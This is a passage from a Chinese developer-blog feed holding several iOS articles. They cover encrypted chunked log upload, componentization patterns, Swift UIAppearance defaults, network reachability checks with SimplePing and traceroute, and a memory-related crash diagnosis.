进行方案设计的时候,由于后端不支持直接展示日志,只能以文件的方式下载下来。所以当时和后端约定的是以天为单位上传日志文件,例如回捞的时间点是,开始时间4月21日19:00,结束时间4月23日21:00。对于这种情况会被分割为三个文件,即每天为一个文件,第一天的文件只包含19:00开始的日志,最后一天的文件只包含到21:00的日志。

这种方案也是分片上传的一种策略,上传时以每个日志文件压缩一个zip文件后上传。这样一方面是保证上传成功率,文件太大会导致成功率下降,另一方面是为了做文件分割。经过观察,每个文件压缩成zip后,文件大小可以控制在500kb以内,500kb这个是我们之前做视频切片上传时的一个经验值,这个经验值是上传成功率和分片数量的一个平衡点。

日志命名使用时间戳为组合,时间单位应该精确到分钟,以方便服务端做时间筛选操作。上传以表单的方式进行提交,上传完成后会删除对应的本地日志。如果上传失败则使用重试策略,每个分片最多上传三次,如果三次都上传失败,则这次上传失败,在其他时机再重新上传。

安全性

为了保证日志的数据安全性,日志上传的请求我们通过https进行传输,但这还是不够的,https依然可以通过其他方式获取到SSL管道的明文信息。所以对于传输的内容,也需要进行加密,选择加密策略时,考虑到性能问题,加密方式采用的对称加密策略。

但对称加密的秘钥是通过非对称加密的方式下发的,并且每个上传指令对应一个唯一的秘钥。客户端先对文件进行压缩,对压缩后的文件进行加密,加密后分片再上传。服务端收到加密文件后,通过秘钥解密得到zip并解压缩。

主动上报

新的日志系统上线后,我们发现回捞成功率只有40%,因为有的用户反馈问题后就失去联系,或者反馈问题后一直没有打开App。对于这个问题,我分析用户反馈问题的途径主要有两大类,一种是用户从系统设置里进去反馈问题,并且和客服沟通后,技术介入排查问题。另一种是用户发生问题后,通过反馈群、App Store评论区、运营等渠道反馈的问题。

这两种方式都适用于日志回捞,但第一种由于有特定的触发条件,也就是用户点击进入反馈界面。所以,对于这种场景反馈问题的用户,我们增加了主动上报的方式。即用户点击反馈时,主动上报以当前时间为结束点,三天内的日志。这样可以把日志上报的成功率提升到90%左右,成功率上来后也会推动更多人接入日志模块,方便排查线上问题。

手动导出

日志上传的方式还包含手动导出,手动导出就是通过某种方式进入调试页面,在调试页面选择对应的日志分享,并且调起系统分享面板,通过对应的渠道分享出去。在新的日志系统之前,就是通过这种方式让用户手动导出日志给客服的,可想而知对用户的打扰有多严重吧。

现在手动导出的方式依然存在,但只用于debug阶段测试和开发同学,手动导出日志来排查问题,线上是不需要用户手动操作的。

dsasdlalfjsdafas.png


作者:刘小壮
链接:https://juejin.cn/post/7028229305050071071

收起阅读 »

iOS-组件化

iOS
小知识,大挑战!本文正在参与“程序员必备小知识”创作活动 通过问题看本质!!! 组件化目的: 组件化可以明确业务模块职责及边界,降低模块之间的耦合以减少复杂依赖,提高代码可维护性,提高业务模块调度的规范性、灵活性,后续也可进一步优化编译速度。 那什么时候要做组...
继续阅读 »

小知识,大挑战!本文正在参与“程序员必备小知识”创作活动


通过问题看本质!!!


组件化目的:


组件化可以明确业务模块职责及边界,降低模块之间的耦合以减少复杂依赖,提高代码可维护性,提高业务模块调度的规范性、灵活性,后续也可进一步优化编译速度。


那什么时候要做组件化呢?随着项目功能的复杂提升,各个业务代码耦合越来越多。这个时候就可以开始考虑组件化了。


通俗的讲,就好比你去宿舍附近的便利店买东西,直接走过去就到了。就没有必要打车了,打车效率还更低了呢。


如果你去公司(车程半小时),就有必要打车或者公交车了,走路那得多慢啊,等你走到了,估计都矿工几小时了。


组件化方案


1. URL路由方案;


2. runtime反射调用(简单反射及二次封装Target-action)


3. Target-action(category及动态调度);


4. protocol方案;


5. notification方案;


组件化的方案有很多种,没有哪种最好,只有哪种最合适。常见的是url-block、protocol-class、target-action方案。所以参考了网上的一些文章,对这3种方案做了一下简单的对比。


url-block 蘑菇街


路由中心维护一张路由表,url为key,block为value。


优点:

1、统一iOS、安卓的平台差异性


缺点:

1、url参数收到限制,只能传常规的字符串参数,无法传递data、image参数;


2、无法区分本地和远程情况;


3、组件本身依赖中间件,且分散注册的耦合较多;


4、启动时提供注册服务,保存在内存中。


protocol-class


优点:

1、扩展了本地调用的功能;


2、通过实现接口来提供服务,只是中间加了一层wrapper;


3、通过protocol-class做一个映射,在内存中保存一张映射表;


缺点:

还是存在内存中维护注册表的问题


target-action


使用target-action方式实现组件间的解耦,本身功能完全独立,不依赖中间件。


1、通过runtime进行反射,直接调用。


2、生成方法签名,通过invocation对象,直接执行invoke方法。


3、通过组件包装一层wrapper来给外界提供服务,不会对原组件代码造成入侵。


4、中间件是通过runtime来调用组件服务的,中间件的catergory提供服务给调度者。


5、使用者只需要依赖中间件,中间件又不需要依赖组件。


作者:龙在掘金62077
链接:https://juejin.cn/post/7023972006957678599
收起阅读 »

Swift 重构:通过预设视图样式,缩减代码量

iOS
通过预设常用视图基础属性,缩减每次创建时需要声明的属性行数(之后创建时不需要再重复声明),项目越大收益越高; 🌰🌰: { func application(_ application: UIApplication, didFinishLaunchin...
继续阅读 »

通过预设常用视图基础属性,缩减每次创建时需要声明的属性行数(之后创建时不需要再重复声明),项目越大收益越高;



🌰🌰:


{
func application(_ application: UIApplication, didFinishLaunchingWithOptions launchOptions: [UIApplication.LaunchOptionsKey: Any]?) -> Bool {

UIApplication.setupAppearance(.white, barTintColor: .systemBlue)
}


源码:


@objc public extension UIApplication{

/// 配置 app 外观主题色
static func setupAppearance(_ tintColor: UIColor, barTintColor: UIColor) {
_ = {
$0.barTintColor = barTintColor
$0.tintColor = tintColor
$0.titleTextAttributes = [NSAttributedString.Key.foregroundColor: tintColor,]
}(UINavigationBar.appearance())


_ = {
$0.setTitleTextAttributes([NSAttributedString.Key.foregroundColor: UIColor.black], for: .normal)
}(UIBarButtonItem.appearance(whenContainedInInstancesOf: [UIImagePickerController.self]))


_ = {
$0.setTitleColor(tintColor, for: .normal)
$0.titleLabel?.adjustsFontSizeToFitWidth = true;
$0.titleLabel?.minimumScaleFactor = 1.0;
$0.imageView?.contentMode = .scaleAspectFit
$0.isExclusiveTouch = true
$0.adjustsImageWhenHighlighted = false
}(UIButton.appearance(whenContainedInInstancesOf: [UINavigationBar.self]))


_ = {
$0.tintColor = tintColor

$0.setTitleTextAttributes([NSAttributedString.Key.foregroundColor: tintColor,
], for: .normal)
$0.setTitleTextAttributes([NSAttributedString.Key.foregroundColor: barTintColor,
], for: .selected)
}(UISegmentedControl.appearance(whenContainedInInstancesOf: [UINavigationBar.self]))


_ = {
$0.tintColor = tintColor
}(UISegmentedControl.appearance())


_ = {
$0.autoresizingMask = [.flexibleWidth, .flexibleHeight]
$0.showsHorizontalScrollIndicator = false
$0.keyboardDismissMode = .onDrag;
if #available(iOS 11.0, *) {
$0.contentInsetAdjustmentBehavior = .never;
}
}(UIScrollView.appearance())


_ = {
$0.separatorInset = .zero
$0.separatorStyle = .singleLine
$0.rowHeight = 60
$0.backgroundColor = .groupTableViewBackground
if #available(iOS 11.0, *) {
$0.estimatedRowHeight = 0.0;
$0.estimatedSectionHeaderHeight = 0.0;
$0.estimatedSectionFooterHeight = 0.0;
}
}(UITableView.appearance())


_ = {
$0.layoutMargins = .zero
$0.separatorInset = .zero
$0.selectionStyle = .none
$0.backgroundColor = .white
}(UITableViewCell.appearance())


_ = {
$0.scrollsToTop = false
$0.isPagingEnabled = true
$0.bounces = false
}(UICollectionView.appearance())


_ = {
$0.layoutMargins = .zero
$0.backgroundColor = .white
}(UICollectionViewCell.appearance())


_ = {
$0.titleLabel?.adjustsFontSizeToFitWidth = true;
$0.titleLabel?.minimumScaleFactor = 1.0;
$0.imageView?.contentMode = .scaleAspectFit
$0.isExclusiveTouch = true
$0.adjustsImageWhenHighlighted = false
}(UIButton.appearance())


_ = {
$0.isUserInteractionEnabled = true;
}(UIImageView.appearance())


_ = {
$0.isUserInteractionEnabled = true;
}(UILabel.appearance())


_ = {
$0.pageIndicatorTintColor = barTintColor
$0.currentPageIndicatorTintColor = tintColor
$0.isUserInteractionEnabled = true;
$0.hidesForSinglePage = true;
}(UIPageControl.appearance())


_ = {
$0.progressTintColor = barTintColor
$0.trackTintColor = .clear
}(UIProgressView.appearance())


_ = {
$0.datePickerMode = .date;
$0.locale = Locale(identifier: "zh_CN");
$0.backgroundColor = .white;
if #available(iOS 13.4, *) {
$0.preferredDatePickerStyle = .wheels
}
}(UIDatePicker.appearance())


_ = {
$0.minimumTrackTintColor = tintColor
$0.autoresizingMask = .flexibleWidth
}(UISlider.appearance())


_ = {
$0.onTintColor = tintColor
$0.autoresizingMask = .flexibleWidth
}(UISwitch.appearance())

}
}

作者:SoaringHeart
链接:https://juejin.cn/post/6974338640784654350

收起阅读 »

iOS Reachability

iOS
大多数App都严重依赖于网络,一款用户体验良好的的app是必须要考虑网络状态变化的。为了更好的用户体验,我们会在无网络时展现本地或者缓存的内容,并对用户进行合适的提示。对于网络状态的检测,苹果提供了Reachability,由此也衍生出各种 Reachabil...
继续阅读 »

大多数App都严重依赖于网络,一款用户体验良好的的app是必须要考虑网络状态变化的。

为了更好的用户体验,我们会在无网络时展现本地或者缓存的内容,并对用户进行合适的提示。对于网络状态的检测,苹果提供了Reachability,由此也衍生出各种 Reachability 框架,比较著名的有Github上的 tonymillion/Reachability 以及 AFNetworking 中的 AFNetworkReachabilityManager 模块,它们的实现原理基本上都是对苹果公司的SCNetworkReachability API进行的封装。

1、SCNetworkReachability (SystemConfiguration.framework)

0.png

获取网络状态:

@property (nonatomic, strong) dispatch_source_t timer;
@property (nonatomic, assign) SCNetworkReachabilityRef reachability;
@property (nonatomic, strong) dispatch_queue_t serialQueue;

-(void)dealloc {
if (_reachability != NULL) {
CFRelease(_reachability);
_reachability = NULL;
}
}

- (void)viewDidLoad {
[super viewDidLoad];
// Do any additional setup after loading the view.

//创建零地址,0.0.0.0地址表示查询本机的网络连接状态
struct sockaddr_in zeroAddress;
bzero(&zeroAddress, sizeof(zeroAddress));
zeroAddress.sin_len = sizeof(zeroAddress);
zeroAddress.sin_family = AF_INET;

_reachability = SCNetworkReachabilityCreateWithAddress(NULL, (struct sockaddr *)&zeroAddress);
_serialQueue = dispatch_queue_create("com.xmy.serialQueue", DISPATCH_QUEUE_SERIAL);

__weak __typeof(self) weakSelf = self;
_timer = dispatch_source_create(DISPATCH_SOURCE_TYPE_TIMER, 0, 0, dispatch_get_main_queue());
dispatch_source_set_timer(_timer, DISPATCH_TIME_NOW, 1.0 * NSEC_PER_SEC, 0.0 * NSEC_PER_SEC);
dispatch_source_set_event_handler(_timer, ^{
__strong __typeof(weakSelf) strongSelf = weakSelf;
NSLog(@"连接状态: %d", [strongSelf isConnectionAvailable]);
});
dispatch_resume(_timer);

[self startMonitor];
}

- (BOOL)isConnectionAvailable
{
SCNetworkReachabilityFlags flags;
//获取连接的标志
BOOL didRetrieveFlags = SCNetworkReachabilityGetFlags(_reachability, &flags);

//如果不能获取连接标志,则不能进行网络连接,直接返回
if (!didRetrieveFlags) {
NSLog(@"Error. Could not recover network reachability flags");
return NO;
}

//根据连接标志进行判断
BOOL isReachable = ((flags & kSCNetworkFlagsReachable) != 0);
BOOL needConnection = ((flags & kSCNetworkFlagsConnectionRequired) != 0);

return (isReachable && !needConnection) ? YES : NO;
}

- (void)startMonitor
{
SCNetworkReachabilityContext context = {0, (__bridge void *)self, NULL, NULL, NULL};
if (SCNetworkReachabilitySetCallback(_reachability, ReachabilityCallback, &context)) {
// Schedules the given target with the given run loop and mode.
// SCNetworkReachabilityScheduleWithRunLoop(_reachability, CFRunLoopGetCurrent(), kCFRunLoopDefaultMode);

// Schedule or unschedule callbacks for the given target on the given dispatch queue.
SCNetworkReachabilitySetDispatchQueue(_reachability, _serialQueue);
}
}

- (void)stopMonitor
{
SCNetworkReachabilitySetCallback(_reachability, NULL, NULL);

// Unschedules the given target from the given run loop and mode.
// SCNetworkReachabilityUnscheduleFromRunLoop(_reachability, CFRunLoopGetCurrent(), kCFRunLoopDefaultMode);
SCNetworkReachabilitySetDispatchQueue(_reachability, NULL);
}

static void ReachabilityCallback(SCNetworkReachabilityRef target, SCNetworkReachabilityFlags flags, void* info)
{
NSLog(@"%@, %d, %@", target, flags, info);
}

优点:

  • 使用简单,只有一个类,官方还有Demo,容易上手
  • 灵敏度高,基本网络一有变化,基本马上就能判断出来

缺点:

  • 现在很流行的公用wifi,需要网页鉴权,鉴权之前无法上网,但本地连接已经建立
  • 存在本地网络连接,但信号很差,实际无法连接到服务器情况
  • 能否连接到指定服务器,比如国内访问墙外的服务器

苹果的Reachability有如下说明,告诉我们其能力受限于此:
The SCNetworkReachability programming interface allows an application to determine the status of a system's current network configuration and the reachability of a target host.
A remote host is considered reachable when a data packet, sent by an application into the network stack, can leave the local device. Reachability does not guarantee that the data packet will actually be received by the host.
当应用程序发送到网络堆栈的数据包可以离开本地设备时,就可以认为远程主机是可访问的,不能保证主机是否实际接收到数据包。

2、SimplePing

ping 是 Windows、Unix 、Linux和macOS 等系统下一个常用的命令,利用 ping 命令可以用来测试数据包能否通过IP 协议到达特定主机,并收到主机的应答,以检查网络是否连通和网络连接速度,帮助我们分析和判定网络故障。

SimplePing是苹果封装好的ping的功能,它利用resolve host,create socket(send&recv data),解析ICMP 包验证 checksum 等实现了 ping功能。并且支持iPv4 和 iPv6。

ping 功能使用是 ICMP 协议(Internet Control Message Protocol),ICMP 协议定义了一组错误信息,当路由器或者主机无法成功处理一个IP 封包的时候,能够将错误信息回送给来源主机:

1.png ICMP用途:差错通知、信息查询、重定向等

2.png [1]给送信者的错误通知;[2]送信者的信息查询。

[1]是到IP 数据包被对方的计算机处理的过程中,发生了什么错误时被使用。不仅传送发生了错误这个事实,也传送错误原因等消息。

[2]的信息询问是在送信方的计算机向对方计算机询问信息时被使用。被询问内容的种类非常丰富,他们有目标IP 地址的机器是否存在这种基本确认,调查自己网络的子网掩码,取得对方机器的时间信息等。

Ping实现:

3.png Ping超时原因:

  • 目标服务器不存在
  • 花在数据包交流上的时间太长ping命令认为超时
  • 目标服务器不回答ping命令

SimplePing实现:

4.png SimplePing初始化:

let hostName = "www.baidu.com"
var pinger: SimplePing?
var sendTimer: NSTimer?

/// Called by the table view selection delegate callback to start the ping.
func start(forceIPv4 forceIPv4: Bool, forceIPv6: Bool) {
let pinger = SimplePing(hostName: self.hostName)
self.pinger = pinger

// By default we use the first IP address we get back from host resolution (.Any)
// but these flags let the user override that.
if (forceIPv4 && !forceIPv6) {
pinger.addressStyle = .ICMPv4
} else if (forceIPv6 && !forceIPv4) {
pinger.addressStyle = .ICMPv6
}

pinger.delegate = self
pinger.start()
}

/// Called by the table view selection delegate callback to stop the ping.
func stop() {
self.pinger?.stop()
self.pinger = nil

self.sendTimer?.invalidate()
self.sendTimer = nil

self.pingerDidStop()
}

/// Sends a ping.
/// Called to send a ping, both directly (as soon as the SimplePing object starts up) and
/// via a timer (to continue sending pings periodically).
func sendPing() {
self.pinger!.sendPingWithData(nil)
}

代理方法:

/// pinger.start()成功之后,解析HostName拿到ip地址后的回调
func simplePing(pinger: SimplePing, didStartWithAddress address: NSData) {
NSLog("pinging %@", MainViewController.displayAddressForAddress(address))

// Send the first ping straight away.
self.sendPing()

// And start a timer to send the subsequent pings.
assert(self.sendTimer == nil)
self.sendTimer = NSTimer.scheduledTimerWithTimeInterval(1.0, target: self, selector: #selector(MainViewController.sendPing), userInfo: nil, repeats: true)
}

/// pinger.start()功能启动失败的回调
func simplePing(pinger: SimplePing, didFailWithError error: NSError) {
NSLog("failed: %@", MainViewController.shortErrorFromError(error))

self.stop()
}

/// sendPingWithData发送数据成功
func simplePing(pinger: SimplePing, didSendPacket packet: NSData, sequenceNumber: UInt16) {
NSLog("#%u sent", sequenceNumber)
}

/// sendPingWithData发送数据失败,并返回错误信息
func simplePing(pinger: SimplePing, didFailToSendPacket packet: NSData, sequenceNumber: UInt16, error: NSError) {
NSLog("#%u send failed: %@", sequenceNumber, MainViewController.shortErrorFromError(error))
}

/// ping发送后收到响应
func simplePing(pinger: SimplePing, didReceivePingResponsePacket packet: NSData, sequenceNumber: UInt16) {
NSLog("#%u received, size=%zu", sequenceNumber, packet.length)
}

/// ping接收响应封包发生异常
func simplePing(pinger: SimplePing, didReceiveUnexpectedPacket packet: NSData) {
NSLog("unexpected packet, size=%zu", packet.length)
}

如代码所示,每隔一段时间就ping下host,看看是否畅通无阻,因此ping不可能做到及时判断网络变化,会有一定的延迟:
利用Reachability判断当前设备是否联网,利用SimplePing来检查服务器是否连通。

3、RealReachability (Star: 3k)

5.png

4、扩展:traceroute

由于ping命令不一定能判断对方是否存在,为了查看主机及目标主机之间的路由路径,我们使用traceroute 命令。它与ping 并列,也是ICMP 的典型实现之一。

traceroute是利用增加存活时间(TTL)值来实现功能的。每当一个icmp包经过一个路由器时,其存活时间值就会减1,当其存活时间为0时,路由器便会取消包发送,并发送一个ICMP TTL超时封包给原封包发出者。

6.png

7.png 命令行测试:

测试1
> traceroute -I baidu.com
traceroute: Warning: baidu.com has multiple addresses; using 220.181.38.148
traceroute to baidu.com (220.181.38.148), 64 hops max, 72 byte packets
1 172.25.62.254 (172.25.62.254) 2.198 ms 1.690 ms 1.437 ms
2 172.25.100.17 (172.25.100.17) 2.175 ms 1.795 ms 1.769 ms
3 * * *
4 * * *
5 * * *
6 * * *
7 * * *
8 * * *
9 * * *
10 * * *
11 * * *
12 * * *
13 * * *
14 * * *
15 * * *
16 220.181.38.148 (220.181.38.148) 29.700 ms 29.135 ms 29.127 ms

测试2
> traceroute -I baidu.com
traceroute: Warning: baidu.com has multiple addresses; using 39.156.69.79
traceroute to baidu.com (39.156.69.79), 64 hops max, 72 byte packets
1 172.25.62.254 (172.25.62.254) 3.339 ms 1.993 ms 4.845 ms
2 172.25.100.17 (172.25.100.17) 2.146 ms 1.792 ms 1.971 ms
3 * * *
4 * * *
5 * * *
6 * * *
7 * * *
8 * * *
9 * * *
10 * * *
11 * * *
12 * * *
13 * * *
14 * * *
15 * * *
16 * * *
17 * * *
18 39.156.69.79 (39.156.69.79) 29.015 ms 27.569 ms 28.232 ms

net-diagnosis (Star: 0.3k)
通过集成net-diagnosis,您可以轻松地在iOS上实现ping / traceroute /移动公共网络信息/端口扫描等网络诊断相关的功能。

8.png

9.png


收起阅读 »

iOS开发Crash之内存暴涨

iOS
今天遇到了一个线上的Crash,线上包,用户打开APP后就一直闪退,但是我们开发和测试都没有这样的问题,后面等到Bugly上报后,看到问题,找到了相对应的测试包开始复现,同事在某一个tf上的build版本QA测试成功出了这个Crash.找到对应的组件分支,全m...
继续阅读 »

今天遇到了一个线上的Crash,线上包,用户打开APP后就一直闪退,但是我们开发和测试都没有这样的问题,后面等到Bugly上报后,看到问题,找到了相对应的测试包开始复现,同事在某一个tf上的build版本QA测试成功出了这个Crash.找到对应的组件分支,全master指定版本真机测试.


全master真机运行出现的结果为


image.png


Message from debugger:Terminated due to memory issue
复制代码

看见这个错误大概就知道是内存暴涨被看门狗杀死了


关键是如何排查


使用instrument中的leaks工具来查看,但是我们并没有这样排查,我们发现一进APP过了main以后就被杀死了,那么可以初步确定是工作台发生的错误.


那么工作台的主要功能就是加载相应权限,然后配置菜单等功能,想到会不会是因为这个客户的数据异常,我们把网络关了,然后进入工作台,不会Crash了。


然后我们把工作台所用到的几个请求一一排查下来,发现在工作台有一个功能卡片组件,组件里面使用了富文本,而富文本是根据后端来的数据来进行对应的加载。


后端接口返回有一个字段,是否采用富文本,然后哪一段启用富文本,字体,颜色,样式都是由后端决定。


因为是一个tableView的Cell,里面又嵌套了for循环,for循环里面又嵌套了for来展示item,item又记录的一条条的富文本还有图片,犹豫cell每次数据源都会addSubviews,没有remove掉,再加上后端返回了N条,同事写的时候没有限制,我们这边只显示4条,显示的图片占用内存很大,从而导致内存暴涨,这一块因为是很老的代码了,需要重构一下,为了线上先不崩溃,跟后端商量图片压缩以及返回条数限制


最后记录一下crash日志
image.png


作者:小肥肥
链接:https://juejin.cn/post/7039598306267234318
来源:稀土掘金
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。
收起阅读 »